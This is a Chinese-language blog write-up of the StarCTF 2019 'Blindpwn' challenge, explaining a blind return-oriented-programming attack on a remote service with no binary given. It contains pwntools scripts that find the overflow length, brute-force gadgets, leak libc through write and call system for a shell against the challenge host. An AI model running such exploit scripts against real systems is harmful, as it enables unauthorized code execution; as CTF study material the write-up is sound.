Starctf2019_Blindpwn

Blindpwn …不能想当然…

start

binary

之前在ctfwiki上看到过
上面流程介绍的比较清楚了…

First

题目给了信息

1
2
3
4
5
6
7
8
9
10
11
12
checksec:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

file libc:
libc-2.23.so: ELF 64-bit LSB shared object,
x86-64, version 1 (GNU/Linux), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=b5381a457906d279073822a5ceb2

发现是x64没有canary&pie估计是简单的栈溢出所以先确定溢出长度

1
2
3
4
5
6
7
from pwn import *
context.log_level='debug'
#p=process('./')
for x in range(0x0,0x100):
p=remote("34.92.37.22",10000)
p.sendafter("!\n","A"*n)
p.interactive()

当覆盖掉了返回地址时就会出现奇怪的东西…从而确定长度==0x28

寻找pop rdi,ret

这个gadget比较关键.
我尝试编译了一个差不多的binary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>
void vul()
{
char buf[0x20];
puts("nier");
read(0,buf,0x100);
puts("good bye");
}
int main()
{
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
vul();
}

编译命令
gcc main.c -o main -fno-stack-protector
反编译后发现通用gadget位置在0x00000000040071E
而且顺序从低地址0x000000000400000开始是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
一些常量
.init段
.plt
.plt.got
code段
start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
vul
main
__libc_csu_ini*******
__libc_csu_fini
...

我们的通用gadget

1
2
3
4
5
6
7
.text:000000000040071A 5B                                      pop     rbx
.text:000000000040071B 5D pop rbp
.text:000000000040071C 41 5C pop r12
.text:000000000040071E 41 5D pop r13
.text:0000000000400720 41 5E pop r14
.text:0000000000400722 41 5F pop r15
.text:0000000000400724 C3 retn

所以我们从0x000000000400000+0x600开始逐字节爆破retn这个gadget
将上一步得出的结果地址-1,-2测试是否是pop ret
将上一步得出的结果地址-3,-4测试是否是pop pop ret
….
直到得到的结果只有一个那么那个gadget-1应该就是我们要找的pop rdi ret
如果找不到换个区域找…

寻找leak

对于有输出的程序没开pie的程序我们可以利用其输出函数dump更多内存.
常用的有啥

1
2
3
4
puts
printf
write
...

  • putsprintf都可以通过pop rdi ret来设置参数
  • write可以同 pop rdi ret pop rsi pop r15 ret来设置参数一般rdx只要不是运气太差就不会是0
  • plt地址以0xn0结尾所以只要爆破0x000000000400000+0x300+0x10*n就可以了

一开始想当然以为是puts爆到怀疑人生….过了2个多小时吃了个饭想好像我找pop rdi的时候有爆出一堆东西…复现了一下发现爆出了0x100字节…然后就想到了readrdx可以被write用上了….于是才想到write
…有了write就可以直接dump内存然后leak libcand get shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.log_level='debug'
#p=process('./')
start=0x400570
got=0x400520
rdi=0x400784-1
rsi=rdi-2
for x in range(0x0,1):
p=remote("34.92.37.22",10000)
p.sendafter("!\n","A"*0x28+p64(rdi)+p64(1)+p64(rsi)+p64(0x601018)+p64(0)+p64(got)+p64(start)[:-1])
base=u64(p.read(8))-(0x0f72b0)
log.info(hex(base))
p.sendafter("!\n","A"*0x28+p64(rdi)+p64(0x18cd57+base)+p64(base+0x045390))
p.interactive()

总结

之前看wiki上的以为很难见 其实挺有趣的…注意write…
不要想当然认为有logo用的就是puts….

Author: n132!
Link: https://n132.github.io/2019/04/29/2019-04-29-Starctf2019-Blindpwn/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.